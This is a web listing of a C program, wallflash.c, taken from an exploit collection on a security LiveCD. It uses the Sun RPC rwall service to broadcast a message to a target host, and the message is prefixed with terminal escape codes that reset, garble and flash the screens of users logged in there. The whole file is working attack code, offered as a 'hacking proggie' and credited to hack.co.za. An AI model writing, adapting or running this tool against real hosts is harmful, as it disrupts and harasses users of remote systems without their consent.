home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / wallflash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  140 lines

  1. /* Great hacking proggie by the eleet p0nk B) */
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <time.h>
  6. #include <sys/param.h>
  7. #include <sys/types.h>
  8. #include <sys/stat.h>
  9. #include <pwd.h>
  10. #include <unistd.h>
  11. #include <paths.h>
  12.  
  13. #include <rpc/rpc.h>
  14. #include <rpcsvc/rwall.h>
  15.  
  16. #define FLASH "\033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h"
  17.  
  18.  
  19. struct timeval timeout =
  20.     {
  21.       25, 0
  22.     };
  23. int mbufsize;
  24. char *mbuf;
  25.  
  26. void makemsg ();
  27.  
  28. int
  29. main(argc, argv)
  30. int argc;
  31. char **argv;
  32. {
  33.   char *wallhost, res;
  34.   CLIENT *cl;
  35.   if ((argc < 2) || (argc > 3))
  36.     {
  37.       fprintf(stderr, "usage: %s hostname [file]\n", argv[0]);
  38.       exit(1);
  39.     }
  40.  
  41.   wallhost = argv[1];
  42.  
  43.   makemsg(argv[2]);
  44.  
  45.   /*
  46.    * Create client "handle" used for calling MESSAGEPROG on the
  47.    * server designated on the command line. We tell the rpc package
  48.    * to use the "tcp" protocol when contacting the server.
  49.   */
  50.   cl = clnt_create(wallhost, WALLPROG, WALLVERS, "udp");
  51.   if (cl == NULL)
  52.     {
  53.       /*
  54.        * Couldn't establish connection with server.
  55.        * Print error message and die.
  56.  [2000]*/
  57.       clnt_pcreateerror(wallhost);
  58.       exit(1);
  59.     }
  60.  
  61.   if (clnt_call(cl, WALLPROC_WALL, xdr_wrapstring, &mbuf, xdr_void, &res, timeout) != RPC_SUCCESS)
  62.     {
  63.       /*
  64.        * An error occurred while calling the server. 
  65.        * Print error message and die.
  66.  [2000]*/
  67.       clnt_perror(cl, wallhost);
  68.       exit(1);
  69.     }
  70.  
  71.   exit(0);
  72. }
  73.  
  74. void
  75. makemsg(fname)
  76. char *fname;
  77. {
  78.   struct tm *lt;
  79.   struct passwd *pw;
  80.   struct stat sbuf;
  81.   time_t now;
  82.   FILE *fp;
  83.   int fd;
  84.   char whom[30]=FLASH, hostname[MAXHOSTNAMELEN], lbuf[100], tmpname[32];
  85.  
  86.   (void)strcpy(tmpname, _PATH_TMP);
  87.   (void)strcat(tmpname, "/wall.XXXXXX");
  88.   if (!(fd = mkstemp(tmpname)) || !(fp = fdopen(fd, "r+")))
  89.     {
  90.       (void)fprintf(stderr, "wall: can't open temporary file.\n");
  91.       exit(1);
  92.     }
  93.   (void)unlink(tmpname);
  94.  
  95.   (void)gethostname(hostname, sizeof(hostname));
  96.   (void)time(&now);
  97.   lt = localtime(&now);
  98.  
  99.   /*
  100.    * all this stuff is to blank out a square for the message;
  101.    * we wrap message lines at column 79, not 80, because some
  102.    * terminals wrap after 79, some do not, and we can't tell.
  103.    * Which means that we may leave a non-blank character
  104.    * in column 80, but that can't be helped.
  105.    */
  106.   (void)fprintf(fp, "Remote Broadcast Message from %s@%s\n",
  107.                 whom, hostname);
  108.   (void)fprintf(fp, "        (%s) at %d:%02d ...\n", ttyname(2),
  109.                 lt->tm_hour, lt->tm_min);
  110.  
  111.   putc('\n', fp);
  112.  
  113.   if (fname && !(freopen(fname, "r", stdin)))
  114.     {
  115.       (void)fprintf(stderr, "wall: can't read %s.\n", fname);
  116.       exit(1);
  117.     }
  118.   while (fgets(lbuf, sizeof(lbuf), stdin))
  119.     fputs(lbuf, fp);
  120.   rewind(fp);
  121.  
  122.   if (fstat(fd, &sbuf))
  123.     {
  124.       (void)fprintf(stderr, "wall: can't stat temporary file.\n");
  125.       exit(1);
  126.     }
  127.   mbufsize = sbuf.st_size;
  128.   if (!(mbuf = malloc((u_int)mbufsize)))
  129.     {
  130.       (void)fprintf(stderr, "wall: out of memory.\n");
  131.       exit(1);
  132.     }
  133.   if (fread(mbuf, sizeof(*mbuf), mbufsize, fp) != mbufsize)
  134.     {
  135.       (void)fprintf(stderr, "wall: can't read temporary file.\n");
  136.       exit(1);
  137.     }
  138.   (void)close(fd);
  139. }
  140. /*                    www.hack.co.za              [2000]*/